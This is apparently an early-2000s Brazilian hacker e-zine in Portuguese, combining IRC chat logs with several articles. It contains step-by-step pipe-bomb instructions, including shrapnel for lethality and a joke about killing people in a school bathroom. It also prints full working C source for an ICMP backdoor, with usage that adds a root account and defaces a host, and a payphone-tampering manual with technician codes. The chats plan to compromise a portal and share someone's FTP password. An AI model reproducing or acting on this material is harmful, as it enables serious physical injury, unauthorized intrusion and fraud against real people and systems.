silva zoar onde? hehehe no fika comigo e no gugu ae psaux: tipo... tem uma pergunta no formulario lah... Orientação Sexual: c eh bi ou homo? bi =~ hahahaha hehehe e tem outro negocio: Sexo: o q eu ponho? muito, pouco ou nada? heheheh muito heheh ow struck se tu tiver fazendo isso mesmo tu tah lascado hehehehehehe hehehehe eu to fazendo... ja mandei tua foto pra lah... hehehe hahahaha Eu sou: Branco/ Altura:ate' 1,50/ Peso: mais de 100Kg/ Olhos: verdes/ Cabelo: Grisalho Outros detalhes: Uso óculos de grau Uso lentes de contato coloridas Uso aparelhos nos dentes Tenho barba e/ou bigode Tenho cavanhaque Tenho tatuagem Tenho piercing Tenho sardas Tenho espinhas na cara Sou fumante bem... vou marcar todas... menos "Tenho barba e/ou bigode" e "Tenho cavanhaque" pq ae eh redundancia... HAHAHAHHAHAHAHAHA hahaha.. olha soh... tem uma pergunta lah: Meu último namoro terminou: e como opcao: Ainda nao terminou hehehe quem iria c escrever no programa c ainda estivesse namorando... ?? ora essa, o psaux! HAHHAHAHA hey psexus! essa vc responde.. Quero me candidatar a ficar com o Luiz Inácio porque: sua mae tah bem struck ? ta obrigado responde a pergunta q eu coloca lah O Luiz Inácio deveria me escolher porque: Para conquistar o Luiz Inácio seria capaz de: porque ele usa a foto do psaux, q eh um gatao =D poe isso usar a foto do psaux Para conquistar o Luiz Inácio seria capaz de: usar a foto do psaux nah! burro! eh pra colocar lah na ficha de inscricao... eu coloquei teu nome.... entao c responde.. quer uma dica... diz q vai dar mto sexo pra ele... homens gostam dissu c num eh loco heheh a nao ser q ele nao curta um cu peludo... heheheh oxe eh pra homem eh??? soh faltava essa heheheh claro.. eh pro luiz inacio... o struck tah transferindo as fantasias dele pro luiz inacio hehehe bah eu to fazendo um favor pra ti.. =D to te arranjando um namorado... e c me vem com essas... humphf! hahahaha q nego safado kra... tipo... a mtv ta na uol... c ja ownou a uol? dae tipo.. nois podia mudar as foto lah por uma dos loko daki... heheheh pq tipo... c eu soh inscrever os kra nao basta... pq eles ligam pra confirmar... hehehe quer ownar uol? seria uma boa... soh de zoera sim sim nao defacementar a uol... soh pra ter acesso a mtv.. dae nois mudava os esquema... e tipo... tem um monte de page famosa q ta na uol... =D merda zerei meu /etc/profile :~ tipo... nos devia ter um inimigo... dae nois zuava com ele um monte... quer q eu mande snape ? AHAHAHAH nos temos struck colocava a foto dele em pages pornograficas... montagens e tal... ia ser mto rlz quem? os grupos brasileiros em geral sao nossos inimigos hehehe nah... mas tinha q ser uma pessoa... q nois odiasse e quizesse avacalhar com ela vamu zoa o snape?? hehehe hahaha echo "Paranoid!"; find / -perm +4000 -user root -exec chmod -s {} \; +_+ vamo zuar o c0nd0r hehe estou fazendo meu intrusion detection system o stderr zoem o n4rfy nah.. o condor eh gente fina... o nelson esse eh zoated nelson brito? é sim o struck eh ameguenho do n4rfy =// mas nem tem graca fazer com alguem q nois nao odeia... _xXXXP^'' ``^YXXXx_ _xXXXXP~ 06 - Anarchy ~YXXXXx_ _xXXXXXX( Bomba caseira )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Carti _dXXXXP~ ~YXXXbx.. ..xdXXXP~ "Eu Ganho Poco Mas Me Divirto" Carti Neste texto descreverei como montar uma bomba caseira, de medio impacto, e uma Bomba de medio a grande impacto! Nao me responsabilizo por nada, voce ja tem mais que 3 anos pra saber o q eh certo e o que nao eh, azar o seu se voce perder um braco ou seu precioso pintinho. Voce Vai Precisar 1 caixa de foguetes 15 tiros alguns recipientes faca, colher silver tape 1 cigarro muita coragem Tudo comecou em em belo dia de sol, os passaros cantavam, ahuaehiheaihu, parece coisa de filme, entao eu estava em minha casa pensando alguma besteira, pensando o que eu iria inventar pra passar o tedio e se possivel imcomodar alguem, quando me veio na cabeca ideias anarquistas, mas sem provocar o mal, usar a anarquia por pura diversao. Tudo comeca com voce comprando uma caixa de foguetes, akeles que dao 12 estourinhos e um estourao. Pavio || |===========|-||---------------------------- | |Polvora|xxxxxx|xxxxx|XXXXX |===========|------------------------------- || |-----| || Cabo onde vc \ / Estourao segura \ / Estourinhos Assim funciona um foguete Voce tem q rasgar o papelao de fora do foguete ate chegar no estourao, tireo. Logo abaixo estao os estoutinhos, retire-os tb. Eh importante guardar o pavio tb. NAO SE ESQUECA: voce deve conseguir retirar os estourinhos de ao menos um foguete sem rasgalo isso sera importantissimo, pois esse foguete sera a bomba, ela sera montada dentro dele. Se voce conseguir preservar uns 2 melhor ainda, pois se estragar um vc ainda tera outro. O que vai sobrar eh uma polvora preta, que nao serve pra muita coisa, coloque-a em um recipiente separado. Ao final dessa operacao voce tera algo assim: Polvora preta pavios estourinhos estouroes lixo que sobrou aos montes em um pote separado Agora voce tem o seguinte: || |===========|--||------------------------------ | | |===========|---------------------------------- Um foguete vazio Proximo passo: Funcionamento de um estourinho e estourao: ------------- |xxxxxxxxxx++ o ++ eh polvora vermelha, eh massa guarda-la -----|------- pra bincar depois,mas pra bomba tambem nao serve. | \ \ \----Polvora azul, essa eh o q a gente precisa tampa, armazene toda ela em um pote nao serve pra nada eh serragem. Desmanche todos os estourinhos e estouroes, guardando somente a polvora azul em um pote, MUITO cuidado essa hora. Guarde tb a polvora vermelha da ponta dos estourinhos pra outra coisa mais alem. Agora Temos: Polvora Preta Polvora Vermelha Polvora Azul Lixo 2 Foguetes fazios nao estragados Pavios ******* Agora vem a parte realmente perigosa *********** Pegue um dos foguetes vazios e coloque um pavio nele, no mesmo buraco do pavio normal. Preencha-o de polvora azul. A quantidade extraida de todos os foguetes deve dar pra preencher um completo. De umas batidinhas pra ele compactar um pouco, nada de muito grosseiro, eh perigoso. Pegue o silver tape e lacre bem a extremidade aberta do foguete. Voce tera algo assim: Pavio || |==========|---||------------------------------------| | |XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX| |==========|--------------------|--------------------| Polvora azul Silver tape lacrando a saida Se voce realmente quer um estourao, enrole toda a bomba em silver tape, deixando somente o pavio sem nada, isso aumentara o estouro. Agora escolha o local pra detonacao. Como eu nao queria machucar ninguem e nem causar prejuisos, eu detonei em uma arvore, derrubei a coitadinha, mas isso eh o de menos. Pra armar a bomba eu coloco o cigarro. cigarro |==============X || |==========|---||------------------------------------| | |XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX| |==========|-----------------------------------------| E corra, porque quando estourar vai fazer um barulhao, fora o estrago do que estiver a meio metro de distancia da bomba. Se ela estiver em um local fechado, ela provavelmente estourara todas as janelas, (Vidros). Bem boa diversao e procure nao se matar, ela pode ser pegigosa se estourar em suas maos. Akelas polvoras que sobraram eh o seguinte: A vermelha queima muito lentamente, não eh esplosiva, portanto para bombas ela nao serve, a unica utilidade dela eh fazer algum desenho no chao e cifar observando ela queimar devagadinho. A polvora preta eh exatamente o contrario. Ela queima muito rapidamente, ela eh usada para impulsionar os estourinhos pro alto enquanto a polvora vermelha funciona como temporizador. Ela pode Ter o mesmo fim q a polvora vermelha, um carreirinho no chao, mas cuidado, ela keima muiito rapido, uma vez fiquei sem pelos no braco, pq nao me cuidei e tal. ***************************************** Bomba numero 2 - Packet Expansion Bem, outro dia eu estava assistindo televisao e um louco colocou uma bomba por ae e explodiu umas coisas, dae o reporter falou uma coisa que me deixou entrigado: "A bomba tinha o tamanho de uma caixa de leite". Na hora eu pensei, porque nao? Uma caixa de leite eh perfeita, ela tem um tamanho massa e ela eh bem selada, coisa fundamental numa bomba. Voce Vai Precisar: 1 caixa de leite, vazia alguns recipientes faca, colher silver tape 1 cigarro um pavio dos que sobraram da bomba acima,ou compre uma caixa de foguetes e arranque um pavio de qualquer foguete Polvora dessas que vc compra por qualquer lugar ae muito mais coragem. A polvora pode ser comprada nas lojas que vendem coisas de armamento, tipo akelas que vendem bolinhas de chumbo pra vc fazer o seu proprio cartucho de espingarda, acha facil por ae. A caixa de leite vazia pode ser qualquer marca, deve apenas conter o buraco por onde saiu o leite. Primeiramente voce lava a caixa de leite, e deixe ela escorrendo com o buraco pro lado de baixo por algumas horas, se possivel um dia, para que esteja bem seca quando colocar-mos a polvora dentro. Com o auxilio de uma faca, e muito cuidado, faca um pequeno buraquinho no meio da caixa, para colocar o pavio. Insira o pavio no buraco, deixando mais ou menos 1cm de pavio pra fora. Apos ela seca vem a parte meio chata do trabalho, deve-se encher a caixa com a polvora que vc comprou na casa de armas. Va colocando pelo buraquinho onde saiu o leite. De tempos em tempos de umas batidinhas com a caixa na mesa, para socar e caber mais polvora na caixa. Quanto mais socado maior a explosao, mas cuidado para nao exagerar nas batidas, voce esta mechendo com explosivos, pode explodir. Com a caixa cheia ate a boca de polvora dobre o biquinho que tem o buraco pra baixo, e sele com silver tape. Veremos o que temos: *------------* * * <- silver tape lacrando a parte que vc colocou a polvora *------------* * O * <- akele O eh o pavio no meio da caixa * * * * Obs: A caixa esta sendo vista de frente *------------* Pronto, agora vc tem uma verdadeira arma na mao, essa bomba eh tao forte que eh capaz de explodir um carro se colocada junto ao tanque de gasolina. NAO RECOMENDO GUARDAR A BOMBA O negocio eh fazer a bomba e logo usar, porque sempre existe risco de explosao! Para voce transformar essa bomba em uma arma letal, coloque, na construcao dela, uma camada de polvora, uma camada de pregos, uma de polvora, uma de taxinhas, ou ate mesmo akelas bolinhas de construcao de cartuchos de espingarda, seria como se um cartucho gigante de espingarda explodisse atirando para todos os lados, cruel esse modo, mata mesmo. Essa bomba eh mais facil de fazer que a de foguetes porque nao precisa desmontar uma caixa de foguetes para monta-la, mas gasta-se mais com polvora. Em compensacao, a explosao dessa bomba, eh de 3 a 5 vezes maior que a de foguetes. Recomendo muiiiiiito cuidado com ela. Se voce colocar no banheiro de sua escola e tiver alguem no banheiro, eh perigoso mata-lo, hhehehehhehehehe, dae vc fala pro pai do defunto "Ops, eu nem queria mata-lo". Bom chega de sermao. A responsabilidade eh INTEIRAMENTE SUA! Divirta-se, O_O Qualquer duvida mande um email pra mim que terei prazer em responder. ************************************ **** cartilage@bol.com.br ********* ************************************ _xXXXP^'' ``^YXXXx_ _xXXXXP~ 07 - Alocacao na Heap ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Na edicao passada publiquei uma materia sobre Heap Overflow do c0nd0r. Tem gente que nao entendeu a diferenca entre heap e stack e porque o bug eh diferente. Heap eh uma regiao de memoria livre que fica entre o seu programa e a pilha (stack). Normalmente ela eh usada para alocacoes dinamicas e variaveis estaticas (static). Veremos Aki como fazer alocacaoes dinamicas e como sao armazenadas na heap. Alocacao dinamica eh quando o programa obtem memoria enquanto esta sendo executado. Variveis costumam se alocarem na pilha e nao podem ser alteradas durante a execucao do programa. Tipo... char str[10]; Durante a execucao deste programa a variavel str tera sempre tamanho 10 e nao podera ser mudada. Usando alocacoes dinamicas podemos utilizar o tamanho que quizermos durante o programa. Isso eh feito por alguns exploits para a criacao do buffer. A funcao malloc() serve para alocar memoria. Para isso precisamos de um ponteiro para apontar para onde a memoria foi alocada. Um exemplo de uso seria: char *pont; pont = (char *) malloc(10); Isso faria com que o ponteiro pont aponte para 10 bytes de memorias livres. Voce usaria o ponteiro como se ele estivese apontando para a variavel str. Note que temos que forcar o tipo de dado retornado por malloc (char). Alguns sistemas tem seus valores para ints, floats, etc variaveis, entao para assegurar que seu codigo vai ser portavel para qquer sistema eh bom especificar o tamanho do tipo de dado que voce quer usando o sizeof(). Como no exemplo: int *pont2; pont2 = (int *) malloc(10*sizeof(int)); Isso alocaria memoria para 10 inteiros. Lembre que a Heap eh uma area da memoria e por isso tem um limite para seu uso. Quando malloc retornar 0 eh porque nao ha mais espaco para a memoria solicitada. Caso isso aconteca e vc nao tenha colocado a verificacao antes o ponteiro ira apontar para 0 e o computador vai dar pau! =) A verificacao pode ser facilmente feita com um if: pont = (int *) malloc(10); if(!pont) printf("Falta de memoria!\n"); Para que isso nao aconteca, depois que usar a memoria alocada, libere-a com a funcao free(). Exemplo: free(pont); free(pont2); Dependendo do sistema, variaveis constantes tambem sao armazenadas na heap. No linux elas ficam na pilha junto as outras variaveis normais. Nos WinNT elas ficam no heap. Este eh um programa teste para verificar como cada dado eh armazenado na memoria: <++> heap/test.c #include #include main() { char c1='A'; static char c2='B'; const char c3='C'; char *p1; p1 = (char *) malloc(5); if (!p1) { printf("Falta de memoria!\n"); exit(1); } *p1='D'; printf("c1 (char) = %c(%p)\n",c1,&c1); printf("c2 (char static) = %c(%p)\n",c2,&c2); printf("c3 (char const) = %c(%p)\n",c3,&c3); printf("p1 (char dinamica) = %c(%p)\n",*p1,p1); } <--> O programa eh portavel para win e linux entao rode-o nos 2 para ver as diferencas. Linux: > ./test c1 (char) = A(effffb8f) c2 (char static) = B(20bb8) c3 (char const) = C(effffb8e) p1 (char dinamica) = D(20c00) Note que variaveis staticas e alocadas dinamicamente ficam na Heap enquanto as variaveis normais e constantes ficam na pilha. Windows NT: H:\> test c1 (char) = A(FFF5) c2 (char static) = B(00A8) c3 (char const) = C(00A9) p1 (char dinamica) = D(05B4) Aki a unica a utilizar a pilha eh a variavel c1 (char normal). Variaveis estaticas, constantes e dinamicamente alocadas ficam todas na heap. Issu ae. Espero que tenha dado pra entender legal o esquema. Agora volte a ler a materia do c0nd0r na edicao passada pois voce ja tem uma base maior. =) _xXXXP^'' ``^YXXXx_ _xXXXXP~ 08 - iBack ~YXXXXx_ _xXXXXXX( ICMP BACKDOOR )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Ja faz 1 ano e meio que fiz esta backdoor. Como a t3kn33k usada nela ainda eh pouco difundida, achei melhor em deixa-la 0day ateh hoje. Ela foi basteante usada nesse meio tempo em algumas box de amigos e muitas funcionam ateh hj. Ela basicamente eh uma backdoor cliente/servidor que passa informacoes usando a tecnica de ICMP Tunneling (descrito na phrack49). Uma rapida descricao desta tecnica seria o seguinte raciocinio... ICMP serve para transmitir dados, de tamanho qquer, para controle da conexao entre duas maquinas. Os pacotes enviados costumam ter lixo que eh despresado pela maquina destino. Entao pq nao usamos ICMP para transmitir algum tipo de dado q possamos aproveitar??? Sakou?? Entao a ideia da backdoor eh essa. O cliente envia pacotes ICMP contendo uma senha que sera interpretada pelo servidor. Seguido da senha estao os comandos serao executados por um system() na maquina alvo. Resumidamente, o cliente da um PING no alvo com o seguinte pacote: IBACK Quando o pacote chega ao alvo, ele eh interceptado pela iback (servidor). Este entao compara o pacote recebido verificando se esta com a senha IBACK. Caso a senha confere, os proximos dados sao tudo interpretados como comandos a serem executados. Caso nao tenha a senha correta, a iback simplesmente ignora o pacote, que sera tratado como um pacote ICMP qquer pelo kernel. Para entender melhor leia o source. O source disponibilizado aki eh uma das primeiras versoes do iback (0.5) e tem seu codigo, em geral, muito simples pois o objetivo aki nao eh lhes entregar um presentinho ja pronto e sim que vcs entendam como ele funciona. Esta versao funciona muito bem, porem muitas coisas podem ser implementadas no code, como uma interface para o cliente, encriptacao dos pacotes enviados e outra boa seria um ip spoof. Assim como qquer outro source publicado na fatal 3rror, sintam-se a vontade de altera-lo do geito que preferirem (Dica: mudem a senha e o fakename =)) porem por favor mantenham os creditos originais. Seria idiotisse falar isso mas do geito q andam as coisas... Qdo vc altera um programa ja existente, isso nao faz de vc o autor dele. Entao nao mude os creditos, apenas acresente seu nick neles. HEhehe... Isso soh devido a inumeras rippacoes que achei de programas releaseds from Fatal 3rror. Exemplo de como usa-la: bash# telnet my.owned.host.com Linux Slackware 7.1 Login: root Password: Lastlogin: Never root@my# wget http://minha.maquina/~struck/iback.c root@my# gcc iback.c -o iback root@my# ./iback root@my# exit Logout bash# cd ~struck bash# pico sping.c (#define ATACK "my.owned.host.com") bash# gcc ibclient.c -o ibclient bash# ./ibclient "rm -f /root/iback.c" bash# ./ibclient "echo 'Cheat Struck 0wns!!!' >> /etc/issue.net" bash# ./ibclient DELETEME Issu ae. Deu pra ter uma ideia do que aconteceu aki neh? Tipo... loguei numa box (my.owned.host.com) e instalei a iback lah. Da minha maquina entao enviei comandos para deletar o source da back, colocar uma mensagem no issue.net e por fim: desligar e deletar a backdoor. Nao falei dissu... A iBack possui 2 comandos extras (TURNOFF e DELETEME). Ambos desligam a backdoor remotamente, porem o segundo alem de desliga-la tambem deleta-a. Achu que issu eh tudo. Vamos ao source: <++> iback/ibclient.c /* iBack Client v0.2 by Cheat Struck Cliente para o iBack Server... Envia PINGS com comandos q serao interpretados pelo Server. Use: ./ibclient "echo lamah::0:0::/:/bin/sh >> /etc/passwd" Isto criaria a conta root "lamah" no server bugzado. */ #define ATACK "127.0.0.1" //Coloque aki o host onde roda o iBack #include #include #include #include #include #include #include int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in ina; struct protoent *p; int numbytes; char pkt[4096]=""; if(argc < 2) exit(0); if(strlen(argv[1]) > 4090) exit(0); sprintf(pkt,"IBACK %s", argv[1]); if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) exit(1); ina.sin_family = AF_INET; ina.sin_addr.s_addr = inet_addr(ATACK); bzero(&(ina.sin_zero), 8); if ((numbytes=sendto(sockfd, pkt, strlen(pkt), 0, \ (struct sockaddr *)&ina, sizeof(struct sockaddr))) == -1) { perror("sendto"); exit(1); } printf("sent %d bytes to %s\n",numbytes-6,inet_ntoa(ina.sin_addr)); } <--> <++> iback/iback.c /* iBack Server v0.5 by Cheat Struck Rode isto no host onde a back deve ser instalada. Use o iback client para usa-la remotamente. Cmds especiais: TURNOFF <----- Desliga a backdoor. DELETEME <----- Desliga e deleta a backdoor. */ #define FAKENAME "here_is_the_iBack" #include #include #include #include #include #include #include int main(int argc, char *argv[]) { struct protoent *p; struct sockaddr_in fr0m; int tam, size, s0ck, i; char pkt[4096], real[1000]; char id[4096], cmd[4096]; i=getpid(); fork(); kill(i,15); strncpy(real, argv[0], strlen(argv[0])); bzero(argv[0],strlen(argv[0])); strncpy(argv[0], FAKENAME,strlen(FAKENAME)); signal(SIGHUP, SIG_IGN); signal(SIGTERM, SIG_IGN); p = getprotobyname("icmp"); if ((s0ck = socket(AF_INET, SOCK_RAW, p->p_proto)) == -1) return 0; do { memset(&pkt,0x00,sizeof(pkt)); tam = sizeof(fr0m); size = recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam); for(i=0;i!=4096;i++) { memset(&id,0x00,sizeof(id)); sscanf(&pkt[i], "%s%*c%*s", id); if(!strncmp(id,"IBACK",5)) { memset(&cmd,0x00,sizeof(cmd)); sprintf(cmd,"%s",&pkt[i+6]); /* Ztart the Special Commands */ dup2(s0ck,0); dup2(s0ck,1); dup2(s0ck,2); if(!strncmp(cmd,"TURNOFF",7)) exit(0); else if(!strncmp(cmd,"DELETEME",8)) { remove(real); exit(0); } else system(cmd); break; } } } while (!0); } <--> ftp ftp.hpg.com.br login: ftpzinesbr senha: zinesbr foda.. o kra me da a senha da page dele e eu mal conheco ele q confianca as pessoas tem em mim eu devo transmitir confianca pras pessoas... desfigura la hahaha os kra devem olha pro meu nick: "Struck. Ah! ele parece ser um cara confiavel.. vou dar minha senha pra ele." tipo... a zine do kra plagiou mto a f3 zoia lah... zinesbr.hpg.com.br ou entao ele tah cagando e andando pra conta ftp dele hehehe ele ateh rippou o henix e disse q ele fez um emulador de hacking ZinesbrEmulator (ZE)... foda... hehe vou mimi falow psuco! =** t amanha snape... ta ae kra? sim c tem q ver essa lamisse... de quem? esse kra rippou meu henix... e olha soh ele explicando os metodos de ownar o Emulador dele... um tal gotoxy lha soh [gotoxy@localhost /home/gotoxy]$ set LOGNAME=gotoxy [gotoxy@localhost /home/gotoxy]$ [gotoxy@localhost /home/gotoxy]$ export LOGNAME=root [gotoxy@localhost /home/gotoxy]# huahauhauhauaha POTZ set LOGNAME export com outro nome o cara eh zoado mto olha esse outro metodo... [gotoxy@localhost /home/gotoxy]$ ls -la /etc drwxr-r-x 16 root root 666 Fev 23 2001 . drwxr-r-x 16 root root 666 Fev 23 2001 .. rwxrwxrwx 1 root root 666 Fev 23 2001 passwd rwx------ 1 root root 666 Fev 23 2001 shadow rwxrwx--x 1 root root 666 Fev 23 2001 xploit rw-r--r-- 1 root root 666 Fev 23 2001 inetd.conf [gotoxy@localhost /home/gotoxy]$ /etc/xploit [gotoxy@localhost /home/gotoxy]# quem seria lamah o suficiente pra deixar um xploit no /etc??? o gotoxy jaja haha hahaha kra... da nojo ver o q fazem com meus progs... ae o kra diz q vai largar o projeto e q c alguem quizer continuar pode faze-lo, mas ele nao vai liberar o source hehehe.... ele publicou apenas o prog ja compilado... pra nao mostrar q eh baita rippacao do henix hahaha bundao que foda a zine do kra tem um monte de materia plagiada da f3... eh foda... mas curti issu pq parece q a zine ta ficando famosa =) ae snape! falow man! te'manha falou _xXXXP^'' ``^YXXXx_ _xXXXXP~ 09 - Manual Para a ~YXXXXx_ _xXXXXXX( Telefonia Publica )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ onlooker _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Manual Para A Telefonia Publica by onlooker ------- ------------ Tópicos Relacionados ------- ------------ 1. Introducao 2. Telefonia Publica 2.0 Introduaco aos TPs 2.1 O Botao Reset 2.2 O setup 2.3 Sub-menus 2.4 Sub-menu IDENTIFICACAO 2.5 Sub-menu AUTO-TESTE 2.6 Sub-menu CONTADORES 2.7 Sub-menu COMUNICACAO 2.8 Sub-menu INSTALACAO 2.9 Sub-menu DESATIVACAO 2.10 Sub-menu INSTALACAO 2.11 Finalizacoes 1. Introducao Ca estou eu escrevendo pra zine do struck, pela a oportunidade, vou mostrar um pouco da telefonia publica... Espero q curtam pois deu muito trabalho para fazer. E estou mostrando uma nova teoria da relatividade: "Coloque a mao numa panela quente por um segundo... aquilo vai parecer uma hora. Mas, coloque sua mao numa mulher folgosa, uma hora se tornara um segundo." Tudo eh relativo :) 2. Telefonia Publica A telefonia publica, soh eh conhecida no Brasil, atraves daqueles txts imbecis (nao querendo ridicularizar quem o faz e/ou fez), mas eh q, falar q da pra puxar uma extensao de tras do tp, todos, ou a maioria ja sabe, mas, ir mais profundo, como pegar a fiacao em outro lugar, na C4 por exemplo, fazer uma nova linha telefonica... Eh isso q esta faltando, entao aki esta minha parte, para q todos possam entender um pouco de telefonia em geral. Eu nao quero saber c vc ja sabe, pois tem outras pessoas q ainda nao sabem... Uma observacao importante eh q, o metodo de reprogramacao, muda um pouco em alguns tipos de TPs, mas, vc ja viu algum codigo universal pra celulares? Ou vc reprograma qquer celular de um jeito soh? Bah... 2.0 Introducao aos TPs Bom, alguns esclarecimentos: * TPs nao pegam em linhas convencionais, eles tem o proprio sistema, o publico. * Nunca estrague nada por dentro. * Quando for mexer nas pecas, tem umas q soh d encostar da uns barulho estranho... * Cuidado quando for abrir, alias, cuidado encostar nas placas ao lado do botao reset, elas dao choque. hehehehehe. Nao fique assustado, mas existem precaucoes, e servem para serem tomadas. :) DICAS. Varios manuais falam sobre descascar o fio atras do tp, mas, ou ele esta encapado com um fio de borracha, ou um de ferro (igual ao fio q conecta o fone ao TP), rarissimas vezes estao desprotegidos. Entao, vc teria que descascar, e, na maioria das vezes, a pessoa acaba cortando os fios, e acabando com o TP. Nao seria mais facil ver por onde passa a fiacao? Por exemplo, sempre, o fio sobe para o poste neh? Entao, eh soh achar por onde ele chega ao poste, por onde? Pela terra, isso quer dizer q vc tem como chegar a ele... Sem embramacao, ele fica no poste mais perto do tp, ele sobe num tubo de ferro, a uns 2 metros do chao, q tem uma tampinha q tem tem uns parafusos, q os fios estao enrolados. Soh eh vc subir la, q pode, ateh ter mais de uma linha telefonica, para eventuais instalacoes. Soh eh puxar de la e pronto... Mas cmo vc tem uma chave, soh eh vc puxa d dentro do tp, duh!! Nem vo esplica esse esquema, pois poderia ser ridicularizado... Soh eh vc abri e.....beh. 2.1 O Botao Reset Este botao, eh a primeira coisa que vc tera q achar, assim q abrir o tp, ele pode estar localizado em qquer lugar, tudo depende do modelo do tp a ser estudado. Por exemplo, o modelo 9400, fica atras da placa, no canto superior direito da placa que tem dentro dele, onde, puxando a placa, da acesso a placa central... Ja no 3001, ele esta na placa central... Entao eu nao posso entrar em detalhes sobre esse botao, pois ele pode estar em diferentes partes. O unico detalhe eh: ele tem quase 1 cm, eh mais facil vc tentar achar um botaozinho pequeno... 2.2 O setup Para entrar nesse modo, eh preciso, apertar o botao reset, e tirar o fone do gancho, vc vera no visor: ------------------- | Identificacao * | (Mas no *, tem uma seta para baixo, e | # | no #, tem uma virada para a esquerda.) ------------------- Os comandos sao faceis, * alterna entre as opcoes e # confirma. obs: * (asterisco) # (nao, nao eh cerquinha, eh quadrado) ao menos foi o q ouvi. Entao se apertar *, passara para o proximo menu, mas se apertar #, entrara nesse menu (identificacao). 2.3 Sub-menus Os Sub-menus sao: + Identificacao + Auto-teste + Contadores + Comunicacao + Instalacao + Desativacao 2.4 Sub-menu IDENTIFICACAO Entrando em Identificacao: --------------- | Terminal TPCI | | 15_5470214 | ---> numero do tp --------------- Daqui em diante, quando se entra em um sub-menu: * vai para cima # vai para baixo E segue: Terminal SSTP (eh o n. CSA) 015152341006 aperte * Numero de Serie (duh) 12004 * F. Tarifacao da Central * Tab. Tarifacao Carrierr 5.04 * 28/02/2001 21:13:58 OBS: ESSES DADOS SAO DO TP Q EU UTILIZEI, LOGICAMENTE, EM OUTROS IRA APARECER DIFERENTE. Agora, vai comecar a repetir tudo de novo, eh bom vc anotar esses dados, eles serao necessarios para eventuais programacoes :) Agora, nao tem como voltar ao menu principal, sera preciso reiniciar o processo, coloque o fone do gancho, aperte o reset (segure) e tire o fone do gancho. 2.5 Sub-menu AUTO-TESTE Caso o tp esteja meio ruim, se eh feito o AUTO-TESTE, que apenas testa os equipamentos, aperte # nessa opcao e vera no cursor: Testando modem Modem OK Testando EEPROM EEPROM OK Testando RAM RAM OK Tecle 1 Tecle 2 Tecle 3 ... 4 5 6 7 8 9 * 0 # Teclado OK Memoria Visor OK Testendo Leitora Leitora OK 28/02/2001 21:18:30 Pronto, tudo ok com o nosso equipamento, agora, sera preciso reiniciar o debug mode. 2.6 Sub-menu CONTADORES Esta opcao tem como principal funcao, ver as seguintes coisas: REINICIACOES 00000 F.COMUNICACAO 00000 F.PROTOCOLO 00000 F.CABECOTE 00000 CART.RECUSADOS 00000 R.ARMAZENADOS 00008 R.DESCARTADOS 00000 obs: pq ta quase tudo zerado? Eh pq eu tinha reinstalado o tp :) Agora q viu os contadores, entre em debug mode novamente e va para... 2.7 Sub-menu COMUNICACAO Eu nao observei direito, mas eh para testar a comunicacao entre o tp e o CSA. Assim q se entra nesse sub-menu, aparecera... IDENT.TECNICO _____________ Dica: Esse eh um I/R, pegue o papel q tem dentro do tp, e veja um n. bonus: to bonzinho neh? aki vai 5 de brinde. 10634 10068 9032 9764 11702 Pronto, coloca um desses ai e... obs: quando for digitar algo, o * da clear e # confirma. Agora coloca o ident.tecnico: IDENT.TECNICO 10634________ E aperte #. COMUNICACAO PROGRAMADA Agora desligue e ligue o tel, mas nao deixe o reset apertado, eh pra liga o tel normal, e aparecera: A G U A R D E . . . (vc vai pensar que esta se conectando a internet :) por causa do modem se comunicando com o CSA (T.SSTP) Uns momentos e... COMUNICACAO OK Mas se vc nao quer nada fazer isso, e abortar a comunicacao, ao inves de liga o tel normal, ligue em debug e va em comunicacao... depois aparecera: COMUNICACAO DESPROGRAMADA Agora entre em debug novamente... 2.8 Sub-menu INSTALACAO Por enquanto, nao dara para entrar. Eh preciso desativa o tp primeiro. 2.9 Sub-menu DESATIVACAO IDENT.TECNICO _____________ Ai coloca o mesmo de antes. IDENT.TECNICO 10634________ TERMINAL SSTP 015152341006 ---> eh claro q em outros tp serao diferentes. De novo, se apertar * clear, # confirma. Explicacao: eh para o tp discar para o numero q aparecer ali, ele avisara a central q esta sendo desativado, para uma reinstalacao. Observacao: naum seja maneh, de coloca o n. da sua casa ali, pois vc reparar, essa chamada eh gratuita... tente ligar normal pra esse n. do tp, ele liga normal... estranho, por ser um n. convencional... mais chega d fala merda e vamu em frente --> Logo depois de se conecta com a central (o tp tb tem modem) Aparecera: DESATIVASAO PROGRAMADA Agora desligue e ligue: A G U A R D E . . . DESATIVACAO OK Agora, se vc for mal, desligue e ligue o tp, e sai fora, o tp vai ficar assim: 04 FORA DE OPERACAO Legal neh? Mas como vc num eh burro, vamos programa-lo novamente, agora veja q um menu esta abilitado, e outro nao. COMUNICACAO (desapareceu) *INSTALACAO* (apareceu) 2.10 Sub-menu INSTALACAO Agora vamos ao INSTALACAO... Logo de cara: IDENT.TECNICO _____________ IDENT.TECNICO 10634________ Ai vai pedi um monte de informacao... Como: NUMERO DE SERIE TERMINAL TPCI TERMINAL SSTP ............ Vc soh tem ir completando com as 